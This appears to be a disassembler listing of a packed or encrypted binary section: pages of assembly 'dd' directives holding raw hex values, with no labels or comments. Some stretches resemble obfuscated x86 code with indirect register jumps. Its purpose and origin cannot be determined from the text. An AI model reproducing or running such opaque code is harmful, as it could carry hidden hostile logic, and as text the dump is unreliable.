dd 46D2A2BDh, 136h, 0E097F9A7h, 0A15ABC23h, 0B74846D2h
dd 0D94D5D0h, 74DE3A8h, 0E0D7FB4Ah, 38F8D857h, 0D4C2897Bh
dd 49B3D88Bh, 14000000h, 7080DEB0h, 0AF4D5808h, 8AE3CAEAh
dd 0BCC4FA31h, 70A543C4h, 0BECFFFE7h, 8462A8DDh, 0A8306A77h
dd 0CA2E41E3h, 5CA23311h, 0BE62509Fh, 8D4DD857h, 0EA6DDECCh
dd 0C506D88Bh, 35000000h, 4906BD22h, 8C57EE2h, 0EB240222h
dd 23E097F9h, 9ED557BCh, 718F210Bh, 2B931C5Dh, 0C0DDBE61h
dd 0F9DF9C5Fh, 0C986A6ECh, 8A470062h, 3B0AC123h, 0BF85ED10h
dd 0E3A406DDh, 2B90A3FCh, 44CDB370h, 0DDBE459Ah, 8EE1BF05h
dd 558DF205h, 3B1939F0h, 5940B1CDh, 0AA1F215Eh, 0C5ACF2E3h
dd 9F49716Ch, 0EC32D852h, 2B90A30Eh, 0F95EA170h, 64394F42h
dd 480BC5E4h, 790D8h, 8645A500h, 550E74B7h, 29E04386h
dd 0F8B3175Ah, 0CA81E629h, 9B4E36FBh, 69AC7B36h, 3F825108h
dd 0F5221D8h, 9A1FEEADh, 47943E39h, 0D9FFD850h, 0DD94F9E4h
dd 312C850Eh, 0DDBEF789h, 0CAC5ACF2h, 0DDBEF7E0h, 4267458Bh
dd 15827E0h, 23E097F9h, 0D2A15ABCh, 6B86h, 19B4E500h, 0B86FD5E8h
dd 0E1126CDAh, 926AA1FAh, 0D1F9F4E0h, 0BADDBE04h, 780CAF74h
dd 424E5B39h, 1BE3ADACh, 2C1FC7C2h, 4288D850h, 0F1E8D364h
dd 410FB986h, 6D2C8D2Eh, 0EF53664Dh, 0CFCA7734h, 0D850E3E7h
dd 892A4A90h, 0CAB06D24h, 0C10D9DECh, 3F26DFAFh, 4383BD44h
dd 2BFFEAE6h, 0B970D51Ah, 9E7491F4h, 5A5FB37Eh, 0BE000000h
dd 3E25DEB0h, 0A8270E43h, 945197E3h, 57D79A45h, 591077D8h
dd 0B1AA119Ch, 1E3C11DEh, 0A05D1C7Dh, 296D2E1Ch, 3FA2B576h
dd 0C584E788h, 6A7839E7h, 0F9F4DB14h, 0E641F044h, 0C720074Dh
dd 80987890h, 0B039CC0Ch, 0D66D6006h, 0B37E8671h, 2AB80572h
dd 8DD92C0Ah, 0C6h, 3FA0B3ECh, 5E309E7Ch, 33C3BEA5h, 92E3AD97h
dd 0A15E1D7Fh, 64CDDBBh, 5B8FC61Fh, 0A71A6182h, 0D900AA33h
dd 256BD850h, 0D99B433Eh, 0BE04D850h, 8AD6BCE0h, 2381D288h
dd 0D890CF28h, 794Dh, 0DEB0AE00h, 0B2433E25h, 11E3AD97h
dd 54AB34DAh, 0DE3FFB73h, 8C1DFB1Bh, 74C0A646h, 0DFFBC72h
dd 0D891493Eh, 5137h, 5AB39800h, 0BEF7775Fh, 0FCDA20DDh
dd 18FFF08Eh, 0AD97931Dh, 34D9C4E3h, 228154A4h, 8EE8EAEh
dd 0D68DF3BCh, 954EB219h, 86302BD8h, 0F1D85002h, 0B2FFEDABh
dd 296A20FAh, 70CD679Eh, 4C980E7h, 6D0E8061h, 1F6D4B0Ah
dd 0D891102Ch, 0D49h, 511AA00h, 2BDDBF10h, 0FFFEE381h
dd 0DEB0E0FFh, 0C7843FA4h, 8441FA60h, 775E7E9Eh, 0F7BB231Eh
dd 9EE4DDBEh, 85A55C0h, 0D3E3AD98h, 6E20D08Dh, 0D4F4AF14h
dd 36EFF2EDh, 8B98E643h, 63B62690h, 527C77D6h, 3DD663B6h
dd 84A4EAF7h, 8E6717C7h, 0D612ACA7h, 377DE870h, 20D73D50h
dd 38C9C551h, 79145651h, 89CFF266h, 35FF6BA2h, 500525BDh
dd 9BAE0772h, 0DFC58239h, 1975DC01h, 5B06F68h, 43123201h
dd 8544A7BAh, 70619AA7h, 3D50625Fh, 7C379CDCh, 0DBB9D9BFh
dd 0C49354B6h, 0AB681F81h, 8B7283FBh, 4959DF90h, 0EC77AE4Ch
dd 0C386E46Dh, 0F63CCDABh, 0EBA8D439h, 0AB62C022h, 0A79BDFF9h
dd 0E404C325h, 0D1694B1Fh, 4243E09h, 0D48BF235h, 914AB017h
dd 6C5651AAh, 1768741Ah, 5DB2F3D1h, 248B4011h, 0F45B9E6Dh
dd 86D4803Dh, 5F94E56Dh, 0E97241F8h, 0F7B473D6h, 872F2A11h
dd 0F068741Ah, 0B093CCAAh, 0B96623D0h, 0CA8740A6h, 29E043E4h
dd 3C4264Bh, 0B4059146h, 0E7E25636h, 0DDBEF7FFh, 0ECF9B214h
dd 2EB786A6h, 147BB71Bh, 9ABAA05Dh, 0F419F7DDh, 5339D992h
dd 64771E08h, 0A38946FDh, 915A17C5h, 62AD782Fh, 495C43FCh
dd 8C722FE6h, 15D289EBh, 0C110512Fh, 0DDBEF719h, 3EF7C4F0h
dd 0D501FD8h, 6A274AA6h, 9E5C8681h, 147DDBEh, 12ACED3Ch
dd 0F9E635F2h, 0F5DDBE81h, 2289420Fh, 0E74C86EAh, 694F0C2Ch
dd 0A34F7A49h, 9CDDBF62h, 229CC47Ch, 25EF0F2Dh, 0D2A36D25h
dd 0FFFF624Ch, 5687BFFh, 0C5A38946h, 3B97F98Ch, 42A37525h
dd 804F6F6Eh, 351CDB3Dh, 7C3E14FEh, 7B5920D4h, 9354B657h
dd 803799ACh, 7ADD7EA2h, 9C73FEBBh, 0D75DEC3Eh, 44FB6102h
dd 95E63287h, 3879DFE1h, 0F3DA91F3h, 0DA4179E0h, 60806623h
dd 0B51CBDA3h, 40D120FEh, 51C2ECE7h, 67ADDDBEh, 47103B89h
dd 6C65D2A3h, 0C6000000h, 3E25DEB0h, 0AD97BC43h, 0BBB60FE3h
dd 0D8505713h, 0BCC982E8h, 2A948F76h, 55D85057h, 5AA0310Fh
dd 5D89D4BAh, 182BBAF7h, 0A917F5B6h, 0FE351CD5h, 2479EC11h
dd 46A849F8h, 4E2C885h, 8C139E99h, 7D44E643h, 0BDA36017h
dd 4A5DB69Dh, 3DA52EE5h, 66D6624Ch, 9FF34220h
dd 48h, 8F3F95CCh, 962C1651h, 0D3B97635h, 0B39CD5B3h, 0E18239A0h
dd 260CC980h, 4BA4DA48h, 97666964h, 0C90FE3ADh, 15014329h
dd 3A545623h, 0D8E7E2C9h, 0B3E64337h, 0B6775F5Ah, 2968D663h
dd 1C126178h, 0AE82E3Bh, 9683379h, 775F5AB3h, 8CDDBEF7h
dd 0C8AE6B28h, 729775BBh, 339A5710h, 0C24B1AD1h, 0F7446E69h
dd 0E92FDDBEh, 10E19D0Bh, 0EDD5D029h, 96DDBEF7h, 49F58B50h
dd 5333DEF3h, 0DE0F0A75h, 0ADE3A8A9h, 9CFD359Ah, 4EDFBDDDh
dd 679E4B08h, 0C32DB567h, 0FF0CEAF8h, 0D8572DD3h, 8D7F3CFCh
dd 0D88C97BEh, 3DB7h, 0DEB01800h, 0A2033FA4h, 24442AE7h
dd 7EE08167h, 0BBB69DBDh, 0E3A80836h, 0D5C195Fh, 0D857E6A1h
dd 9B094A0Ah, 0D88BB2B0h, 0D7F4D209h, 24F00F94h, 0E001B85Fh
dd 18F68C49h, 0E569h, 0A0B3CA00h, 0DCC27F3Ch, 0C077D9FEh
dd 0B5379C03h, 0F779615Ch, 0DC22DDBEh, 0BEF76B53h, 0AECE14DDh
dd 6F288AF1h, 8DF205B2h, 71D3F8D6h, 0EDC0EBBAh, 0E0DDBEFBh
dd 0F3228C87h, 74DDDBEh, 0E9A20429h, 0B675D71Ah, 9D56BCCFh
dd 0B0CE7EBFh, 0C8FF583Fh, 0EF3F98B7h, 2F3C1AC4h, 0E3A7F25Eh
dd 0A6320147h, 353017E8h, 0E643A4D6h, 49A289CFh, 6A3A644Eh
dd 0E2480FD6h, 27220929h, 0D66A3ABFh, 59C4A2E8h, 45A9E146h
dd 36AD18Eh, 3D0C2C4Ch, 0F65D95FAh, 4A2C1F3Fh, 0DECBDCC1h
dd 1D7AB1Bh, 8CEC0000h, 57BD00CFh, 2B8ED1A0h, 0F65A9D6Ch
dd 0C62B6E3Dh, 0D773C0Bh, 0EDBC77DCh, 0C39249AAh, 93621980h
dd 5E2DEE50h, 557D78D9h, 3ED85041h, 94F92318h, 69CB0EDDh
dd 52B8CBB2h, 0DF68BB99h, 0F7238B86h, 64CDDBEh, 0DEB0EF28h
dd 0D0F02480h, 0DF3B06Bh, 8B50EF48h, 2F4F6F2Ah, 0A404D48h
dd 417E3A8h, 0DC43E49Fh, 70B64725h, 0B2AD06B3h, 0D857E408h
dd 424F2D73h, 0D857E49Ch, 1069C23Fh, 57E4AD15h, 790D6D8h
dd 0D857E4DFh, 0F6A482C8h, 0B50447A5h, 0AD71D88Bh, 0D2000000h
dd 0FE5F97F9h, 80A057BAh, 0D73CA360h, 5D105F1Ch, 76DDBEFBh
dd 596C5314h, 0D603EF5h, 17464D84h, 0FF3ADECAh, 4D9ACD3Ah
dd 0D0AE7D87h, 0D59249ABh, 0B1986925h, 0A7D9D5B6h, 0B988CEE3h
dd 0B9A0512Dh, 4386ECBEh, 8A71B7E6h, 96B21277h, 1711F226h
dd 0EC2FFE1Eh, 0ABD9CC87h, 81CBDCD2h, 0DB4EBEh, 90F00000h
dd 53B9FCCBh, 278ACD9Ch, 0FA5EA170h, 0CA2F7241h, 97B400Fh
dd 0F1C07BE0h, 0BF8E4DAEh, 8F5E157Ch, 6231EA4Ch, 59817CDDh
dd 42D85040h, 94F9271Ch, 69CB0EDDh, 235AE3B2h, 0FD3617F6h
dd 8E383308h, 0F9DDBE2Dh, 7CB593B3h, 813AA0B3h, 0DB00DEC4h
dd 9E05C279h, 81947B3Ch, 3386641Bh, 0E6CD8EF0h, 0F728928Dh
dd 5ABFDDBEh, 6E4C929Fh, 0B576D81Bh, 6D61A9F8h, 9C28099Ah
dd 72B416DFh, 0B970D30Bh, 0D497F899h, 42113117h, 8A7A82B9h
dd 0C6D5996Eh, 0AA61C3E8h, 692286EDh, 23E245ACh, 0DB9EFF66h
dd 0CC8DB91Eh, 7F1CC6C1h, 4187F665h, 86998221h, 0DD8B6922h
dd 36F5579Ch, 9C22467h, 0E4CEC922h, 8FF6657Fh, 0EAA764C8h
dd 0C506E404h, 855h, 907DB400h, 8361187Dh, 0E299F94Ah
dd 9B5CBE25h, 591077DEh, 15D4359Ch, 0D58CF158h, 954CB118h
dd 560D71D8h, 18CF3299h, 0D58EF45Bh, 89508118h, 405E0h
dd 0E8830000h, 24048704h, 6824248Bh, 2DF0h, 68243489h
dd 5272h, 0BE241C89h, 0DA4486Fh, 5106EEC1h, 0B810CAB9h
dd 59CE0105h, 241C8B54h, 8304C483h, 348904ECh, 24348124h
dd 79865F4Ch, 8108438Fh, 5F4C0873h, 34FF7986h, 0C4835B24h
dd 24348B04h, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FB91ACE9h
dd 0B825AFFFh, 5EEB809h, 0E0FFC503h, 0FC3A9EAh, 0B6C3186h
dd 35922B20h, 3B6A9D04h, 6B2A20E5h, 5D6EAE66h, 23D4B51Eh
dd 5DA55E8Dh, 7D0B676h, 3292B368h, 6BD54130h, 487505CCh
dd 74CD968Bh, 9E1C13Bh, 9CFE4EEh, 213A3C7Fh, 212E4711h
dd 6E8h, 1B38D200h, 0FCD22B88h, 0A5C2815Ah, 0F00006Fh
dd 38Bh, 0F7B70F00h, 1BBA68h, 6059F800h, 0A8E0Fh, 5E90000h
dd 6A000000h, 0DB4D9DA9h, 0FE9h, 8ED29700h, 6B36668Dh
dd 3E60AFD9h, 7B966D32h, 813A8B61h, 0C83C81C7h, 0F708BE57h
dd 0C781365Dh, 1A4E4F8h, 81F3B70Fh, 584C6DC7h, 0A5E88170h
dd 576742FCh, 8FF08B66h, 81616002h, 204D81EAh, 38F0F08h
dd 66000000h, 0C281F38Bh, 8204D7Dh, 1E981h, 850F0000h
dd 24h, 13E9h, 11CE0600h, 1ED07C36h, 2C5003F7h, 88D076A5h
dd 272A4F46h, 15E9h, 0AD12EA00h, 0D77C8B4Fh, 0FFFF8CE9h
dd 0F3E692FFh, 9853C12h, 8D8DC480h, 5EEBA18h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 31C35242h, 0F27665Ch
dd 8D89F0BFh, 5E92655h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 67C35747h, 3558D701h, 7E3B7BFEh, 0A5953353h
dd 0C705E910h, 0E9080585h, 6FFC05h, 39BD8900h, 0C705E912h
dd 0E9163D85h, 5, 9EBB6600h, 55B5FF66h, 0FC05E923h, 0BC595FFh
dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 4FE25AEBh, 74F1E716h
dd 0E879E1E8h, 3D85388Ch, 25A273ACh, 30E85DBAh, 4B6D794Ch
dd 0B9E26EF2h, 0C0C9CB43h, 15E4896Fh, 26AF6FB6h, 0F8ABE0F9h
dd 0F8DDF3E7h, 9F56AED9h, 0D31900BDh, 6E34F8C2h, 2E99136Ch
dd 0EC8A99E7h, 3B30CD79h, 565DB0DDh, 0CEFFCE8Ch, 0AF23B868h
dd 0F42D930Ah, 0A54408EBh, 339C7F0Fh, 14E977E7h, 6800000Dh
dd 5EEBC17h, 0FAC566E9h, 0BD1268FFh, 5CE905EEh, 68FFFAC5h
dd 5EEBE79h, 0FAC552E9h, 0BF9568FFh, 48E905EEh, 68FFFAC5h
dd 5EEC0CAh, 0FAC53EE9h, 0C37C68FFh, 34E905EEh, 68FFFAC5h
dd 5EEC53Fh, 0FAC52AE9h, 0C64C68FFh, 20E905EEh, 0ECFFFAC5h
dd 826885ACh, 14FA1746h, 0A58BA8D7h, 341A376Ah, 0AAAECBF6h
dd 19448238h, 0AED516FCh, 416CAB91h, 0D1043E24h, 5806E7B4h
dd 1327A016h, 0C2613F98h, 91B25588h, 1AFCC270h, 8C0216C9h
dd 0C91A1A5Ch, 912EA416h, 299FCED9h, 3B5EA409h, 81BBA13Eh
dd 0DC8AAB4Eh, 16C9EF9Ah, 6A11AE24h, 346FD931h, 4EFC9F01h
dd 1C32D6C1h, 759CDD4Dh, 0DAE513h, 0A46896C1h, 3AD73968h
dd 20F94280h, 6114B513h, 2630864Ah, 329A45h, 6F600000h
dd 0E304A717h, 0AE2C1FB4h, 61FE891Eh, 32A6BAA7h, 0B356CC1Ch
dd 22AED384h, 0B552FBB2h, 2F5D65FDh, 0F99A1320h, 0E2612F7Ch
dd 0CB7F4526h, 45000000h, 275588C2h, 0DC05421Ch, 0E210729Dh
dd 57957B18h, 965A892Ch, 0C96E77FDh, 13D78F2Ch, 0F7B765D9h
dd 0AC16C974h, 0C974B8FEh, 78D04616h, 0AE72A002h, 0E20B4774h
dd 7D4775A8h, 0E29CB91Bh, 16C978D1h, 0C7E41751h, 4674A7E1h
dd 0C467D72Fh, 319DA516h, 5E7BF11Ch, 0BA5DCD25h, 84CA7899h
dd 0A132053h, 393DF794h, 4519C6DBh, 14522CCFh, 0A8E6CCE9h
dd 0A2DB0B2Eh, 0CA2C3F4Ch, 7253ED99h, 8C48406Fh, 0AF6h
dd 27446BABh, 0B9D60541h, 4A6796D3h, 0D9F62964h, 6D8AB5F3h
dd 3417969h, 94D5BBD8h, 2B6A506Dh, 0C3FDE300h, 0C5A67390h
dd 27A65717h, 20FE5713h, 6A1884C2h, 16C91A24h, 0B396CA6h
dd 1173E941h, 0A1D40EF4h, 5A7B5684h, 0C91AEAACh, 0E17EF416h
dd 3DE050A8h, 0CBF92463h, 89376401h, 1C322998h, 0B24A78EEh
dd 13200B90h, 5A88B3F2h, 0FF2D5896h
dd 0F7A7CEF1h, 0E7C8F790h, 0B9AE3649h, 0D99CD16Eh, 26200ED2h
dd 0B32245h, 0C2E80000h, 63275588h, 34CCFA25h, 16C9163Fh
dd 13B6E923h, 34D1F839h, 3A6DA78Dh, 2D9DF50Ch, 0F36FDC8Ah
dd 3B5C1C31h, 203DC98Dh, 3F1B7C13h, 0F9461B2Ah, 0AC8E2BA1h
dd 6DCF023Ch, 54022350h, 1320F512h, 8DCA269Ch, 3088C15Eh
dd 0DC6F1DC0h, 2619C66Ah, 0F5330DB0h, 89C7ADCAh, 0C1FD2A64h
dd 389A6492h, 0ADDE400Ah, 6F72F2EFh, 0FBAA665Eh, 0B0000009h
dd 462C4970h, 0D8BEDB0Ah, 694F6C9Bh, 0F8DEFB2Eh, 6E728FBAh
dd 0D5003E74h, 6A91D2B8h, 0FD28674Dh, 8DC0FAE0h, 14C2A370h
dd 1327A752h, 7B25035Ch, 440EE14Ch, 0F08D11EFh, 84A1CC0Ah
dd 1431649Eh, 5588C2E6h, 0FC296327h, 122F91C0h, 6E1181D9h
dd 837734Dh, 0A3406FACh, 32195CE9h, 0FE2CA21Ch, 201B5D66h
dd 3968A513h, 980C470Bh, 201BA4EAh, 52B42A13h, 0BFB65324h
dd 9ED778DFh, 26D2430Dh, 65D5D45h, 6F230000h, 0E304A717h
dd 0C91A7135h, 6A077D16h, 1CCA8F3Dh, 56CC1C32h, 71EE1D28h
dd 0D8C4D891h, 1131EB88h, 6613207Ah, 55FBB0C5h, 3F4526B3h
dd 0AB82865h, 13204244h, 0D572D44Ah, 61EB4h, 176F7A00h
dd 0EE2A04A7h, 2AC791BFh, 364FFDh, 2781C32h, 30063CD4h
dd 0D0711320h, 0E997B8A5h, 132030A5h, 3716B329h, 4526F969h
dd 5EE87h, 38744E00h, 74A2D50Fh, 561A48AAh, 0EC89EB1Ah
dd 0C4384BEh, 0F3A144B4h, 1C321C12h, 21B7E65Ch, 97370FF8h
dd 0AEDD19F3h, 1680D811h, 0A74AACD7h, 0CDD174F9h, 5684FA95h
dd 0D477E73Fh, 27152F26h, 1ABD3390h, 0E4920640h, 9F3527A2h
dd 558A672Ch, 9F84C1A1h, 91BEDB3Dh, 1F4D78B7h, 0C0EE215Bh
dd 11F794F6h, 0BB73A4D7h, 0AE578DBh, 8945612h, 9490000h
dd 0A3DFC5E2h, 34715774h, 0C702E805h, 53917794h, 0DB070B28h
dd 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh, 0F1B56344h
dd 0FD1327A4h, 88C2C6A4h, 0B8102755h, 8EF7A548h, 0D01C3290h
dd 0E1103D5Ah, 963D40EEh, 2DE78491h, 1327BD05h, 0C1EF225Dh
dd 0E0A654F7h, 0EE1327BDh, 1CF01678h, 5992AFE2h, 3FED9002h
dd 1327BD77h, 9ACD0777h, 8DF1A26Ch, 0FDC2BCA0h, 374270D2h
dd 0C4F2215Dh, 365D9EFAh, 4679B399h, 20236F29h, 80BF1327h
dd 18523855h, 231FB7E5h, 5F63ADF0h, 4C8F621h, 996A98C7h
dd 152579FCh, 8DAEAFC6h, 0D0F8BE6Ch, 9006ECD8h, 0D8D01E60h
dd 8D2AA0ECh, 1406DA7h, 7CDEA8D6h, 0C3F795Fh, 0E07C46DEh
dd 0EF66ECD8h, 0B1E41E86h, 0F2B694h, 0C2F60000h, 63275588h
dd 33CBF924h, 16C91A73h, 0F4350F30h, 0A5D59FCDh, 16C91AE1h
dd 4E7CAFE9h, 19B62C84h, 98C6F933h, 16B92981h, 0A4D2FD3Ch
dd 62103DDAh, 1C329025h, 38C2F369h, 87698693h, 778D38Fh
dd 0ED2D0000h, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h
dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h
dd 0CD913F20h, 0D11327A5h, 88C29A78h, 25632755h, 76A1DFB9h
dd 0C91A0046h, 0B6188E16h, 4974B399h, 6190CCA6h, 0FD371DC4h
dd 104D27CAh, 0B79D44E1h, 0BFFFF79h, 2F58094Eh, 9DDB9FCDh
dd 0F5544472h, 0BBE62480h, 5B97719Eh, 0E0B08F2Ch, 40CF4Ch
dd 7, 54CAC6h, 0C20A0000h, 1C275588h, 3BD80342h, 0C92A4181h
dd 4B2AA116h, 0CFEC1F59h, 5D8CC8A2h, 0E2C8652Fh, 0B24A78A3h
dd 16C90A91h, 8B195CCFh, 0D604214Ch, 2A5883C2h, 0CEFC2766h
dd 0AEF67FDEh, 6D27446Fh, 16C92223h, 0DB99489Dh, 0F09940CFh
dd 5FFFFFFEh, 38ECAh, 88C20A00h, 90F21D5Bh, 1A88CA62h
dd 700D16C9h, 32659F05h, 0FEC06E8Fh, 0FC16C91Ah, 96608EC1h
dd 842BC83Eh, 8E31649Eh, 1AFFBF6Dh, 89FF16C9h, 0D69C34ECh
dd 0CC16C91Ah, 0E2BC5F92h, 22DA77A6h, 0DF67E817h, 0F0A1CC0Bh
dd 0B754B328h, 13B6267Eh, 326D1865h, 0BFF0661Ch, 6987063Bh
dd 437E3A32h, 0F8000006h, 8E7491B8h, 20062352h, 0B197B4E3h
dd 40264376h, 0B6BAD702h, 1D48862Ch, 0B2D91A00h, 4570AF95h
dd 0D5084228h, 5C0AEBB8h, 1327DA1Ah, 0C26D4BA4h, 3B5C0688h
dd 0D73F21ADh, 45834775h, 0DD17FD1Ah, 69A78DAAh, 76D80744h
dd 1B468448h, 0D79EFDEDh, 3F72AC86h, 597EBCA2h, 0F7C1EF1Ah
dd 0F7997895h, 0DD40CF2Ah, 0CD567CAEh, 0AA70FF1h, 2BAE9h
dd 186FAF00h, 34E203A6h, 16C91A72h, 0A1D00C7Ch, 52EAA23Fh
dd 6532CCA2h, 6E3D38D9h, 0BE212DA2h, 296BEh, 5A7B8400h
dd 0C91AEAACh, 0E17EF416h, 3CDF51A8h, 0C91AC88Eh, 0BD60D616h
dd 1AA8EE9Ch, 0C03616C9h, 0DD438E0Fh, 47E407B6h, 0FC19F78Fh
dd 225D6532h, 0BCFDC1EFh, 18776795h, 39DA415Dh, 1DA16F3Ch
dd 50BFBE21h, 85000002h, 3863A17Bh, 9F0B629Bh, 3C063463h
dd 0C18937DAh, 8A16C91Ah, 5A28065Bh, 0CB3DEE1Dh, 5234D144h
dd 0FE16AEDCh, 35653273h, 89CD7B9Ch, 15E8275Bh, 0A8CD029Fh
dd 6F9EDBB5h, 8A5D813h, 21926729h, 20979BEh, 1F400000h
dd 27232D71h, 0DF3BB1E8h, 7F49779Eh, 186FB4E2h, 195503A6h
dd 5A16C91Ah, 76134680h, 58F01E94h, 6532CCB8h, 982B5AF3h
dd 0EA6B2B64h, 3E376C09h, 0DD04451Fh, 6948E5AFh, 0BE2190A7h
dd 1C6B9h, 4C7B7F00h, 4B894DD1h, 7728F220h, 0C15EC53Ch
dd 406EA1DBh, 0F31A5B35h, 0AA58FBC5h, 16C918E4h, 0F1D774EAh
dd 2E6784B7h, 42B6CD6h, 535B0CD6h, 8BEBB261h, 0CAA447A9h
dd 93C05D90h, 1A434372h, 0B9281B92h, 0AED5621Ch, 0E3591C32h
dd 2D711F40h, 0B1132081h, 76D80341h, 0B98921D9h, 0BE132081h
dd 2B05581Dh, 4120BDF0h, 4526489Fh, 0F0B66485h, 0FE132089h
dd 49CAEB88h, 91000000h, 27014362h, 3F0CBDE8h, 4481DDE7h
dd 801DE715h, 0A7176F52h, 294D5604h, 43B91C32h, 0F2300A15h
dd 52702AC7h, 0B013200Bh, 52164473h, 9DB6E417h, 82EDE79Eh
dd 1170F86Ch, 32D33A64h, 70B86843h, 0D3B84526h, 7E000000h
dd 275588C2h, 94DFB1Ch, 3C16C91Ah, 53CEF87Fh, 41B109EAh
dd 0E0AAD803h, 0BDFBE17Eh, 38596492h, 0C95CC48Ah, 0B754CA16h
dd 752397D1h, 16C95C31h, 42E547BDh, 1308A013h, 59F6EF54h
dd 70A3DDA1h, 4E539ECDh, 7593A7BAh, 0D50431D8h, 2493FDA4h
dd 8F49E6EDh, 16C95D82h, 163366A0h, 0A5D00FE9h, 0BFCAD77h
dd 2D123ADBh, 0D42C6502h, 3E13C164h, 681C2F02h, 37754FF2h
dd 0CB09EF0Ch, 1DD96FA0h, 0F8698Ah, 39144h, 0DF064600h
dd 71A0DCC2h, 2316E54h, 91C4FFE5h, 25508E74h, 0D4DE0408h
dd 684E6B96h, 0FDE30027h, 907693BEh, 39062356h, 0D9E4AA58h
dd 91EA1327h, 5984C2B3h, 0EF1C563Ch, 72486B1h, 0A0DFB9DAh
dd 1A014575h, 178D16C9h, 88C24C7Ah, 29632755h, 0A14FBFFCh
dd 16C91ADDh, 0DB096BE1h, 0D892AF11h, 16C91AEBh, 59FC6CC4h
dd 32140EABh, 2EDCFD1Ch, 13201C68h, 81630076h, 7BC0EE0Bh
dd 73564A1h, 0AAEC9A3Dh, 3416C91Ah, 13B21BEh, 0A2DCA0CEh
dd 0C119526Fh, 7700AE51h, 0F71C3223h, 87BB5381h, 0F013200Ch
dd 5D37264Fh, 7655F221h, 4526C5AAh, 5FC6h, 176F8C00h, 9E304A7h
dd 0A7719FCAh, 1A105604h, 289E16C9h, 29D0D18Bh, 11EB1C32h
dd 0B67AA8D3h, 501A487Bh, 0F96F51EEh, 0B0F33CBh, 0CF681320h
dd 9E4CB4F5h, 13200BD8h, 0E00E70E6h, 31447916h, 26C6D67Ah
dd 0B08FBE45h, 9D0E1BBFh, 20E2FCCh, 0D5000001h, 22FC8BA6h
dd 744F45Eh, 0ABD976D8h, 0B25588C2h, 1AA3E391h, 0B52B16C9h
dd 5E9C6018h, 276F16E4h, 567EC85h, 1D4C8862h, 328ACC7Ah
dd 9E1416C9h, 4B854901h, 0EC26EA18h, 3284CA78h, 940A16C9h
dd 565B1532h, 8516C93Eh, 0A23F6EABh, 600E82BCh, 16C9361Eh
dd 0ABC82AA0h, 2A588BC5h, 0A84BBB13h, 4170AD87h, 12984913h
dd 17D6BBEh, 6FC8821Fh, 641C323Fh, 2FDD4D8Ah, 1320356Fh
dd 3B97F96Fh, 0D8A2D0FFh, 0C6E3593Bh, 22C5358Dh, 0BBEA2701h
dd 6C26C38Dh, 19C6BE41h, 4F701389h, 0D0287D20h, 0B04D572Fh
dd 0BE618CCAh, 0DF7CA3E4h, 0E9145238h, 72ABC8B8h, 0E39F976Fh
dd 1CEh, 0FF1C4383h, 91AEDD19h, 223F6EABh, 0B1CE013Ch
dd 45628DCBh, 0DB19A141h, 6CAD93B0h, 3422845h, 9BD5BBD8h
dd 9D7E4B68h, 27DFAFEFh, 0F8D62F13h, 3C5984C2h, 0CCE91C56h
dd 8B1E709Fh, 1B74672Fh, 0B14EB0DFh, 0A7176F83h, 294D5604h
dd 4D6E1C32h, 200BDF9Fh, 0CC69DF13h, 0F7D174EAh, 925C8ABDh
dd 9DA53DF5h, 0DA13200Bh, 2C722041h, 0AE13200Bh, 72E84073h
dd 7DABDA16h, 94E116B3h, 26C64917h, 0D06745h, 0C22D0000h
dd 63275588h, 3657FA25h, 0C91AC688h, 1D58C816h, 0F02C88EAh
dd 0D46C24C1h, 16C916DFh, 5024CDFCh, 3360D603h, 0C9A4C185h
dd 0F557CD16h, 5387258h, 95C802E8h, 88F85067h, 0AB9E37E5h
dd 0BB951C32h, 57214F7Eh, 2D509CA6h, 0EA870E91h, 0CEEF9208h
dd 20125E20h, 47EA6013h, 2012D599h, 0C663D913h, 1E8EE61Fh
dd 3467A17Bh, 0B2BC6A97h, 0BC19C68Dh, 8BC9A346h, 1F5D4360h
dd 8FE1C3F4h, 38306F72h, 0C17Ch, 0F367600h, 0A1D00CF2h
dd 32619E84h, 0C1F42F15h, 5580BEA4h, 4AE3438h, 987E9BC6h
dd 2D133057h, 0C0A6C3EEh, 69365386h, 0DC94DA88h, 0C11A1327h
dd 5984C2E3h, 0A81C563Ch, 0C91AB4FAh, 0CEF53616h, 65A40076h
dd 0E0420C3Ah, 0A17B95C3h, 3D073564h, 4D80BAA0h, 0EE215B1Fh
dd 0D04098D1h, 900A7F2Dh, 0D64C1C32h, 77AAE4A8h, 0D3A745Ah
dd 9F42A4CFh, 15833870h, 0CA67EBA1h, 15837A12h, 5679E4C4h
dd 6F1D3E1Fh, 69C6552Fh, 1D8839AFh, 6A347026h, 0ABE5CB68h
dd 542E5B78h, 694FEC13h, 0ACEFC2Fh, 1FF99CCFh, 5F17B4E3h
dd 3371047Bh, 0EC977F9h, 0B3381184h, 144E3451h, 3F7B3E1h
dd 37000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h
dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h
dd 68864775h, 34F0h, 57242C89h, 0C781E789h, 4, 8704EF83h
dd 895C243Ch, 7F68243Ch, 89000061h, 0BE562404h, 5EEBAD6h
dd 89F08950h, 545E58C7h, 8324048Bh, 0EC8304C4h, 243C8904h
dd 0FF08408Fh, 81582434h, 4C4h, 243C8B00h, 81E78957h, 4C7h
dd 4C78100h, 87000000h, 0E95C243Ch, 0FFFAB85Fh, 0B8459FEEh
dd 5EEC732h, 0E0FFC503h, 7C05C1B7h, 1C9DB25h, 157335BDh
dd 731B8EDEh, 0C8358D8Dh, 0BF0F05EEh, 558D89F2h, 0E905E926h
dd 0Fh, 5083B848h, 0C5B4F4ACh, 77F541DAh, 0C75DA0D3h, 0E9080585h
dd 6A7805h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 7CFBB5Bh, 61BD0199h, 8905E905h, 0E90801B5h
dd 3D85C705h, 5E916h, 1000000h, 0E91EC185h, 55B5FF05h
dd 0FF05E92Fh, 0E90BC595h, 0A1BD8905h, 6A05E91Ch, 9595FF00h
dd 8B05E91Eh, 0BE49EBC0h, 0DE65BF33h, 3A02E83Fh, 4CB7F086h
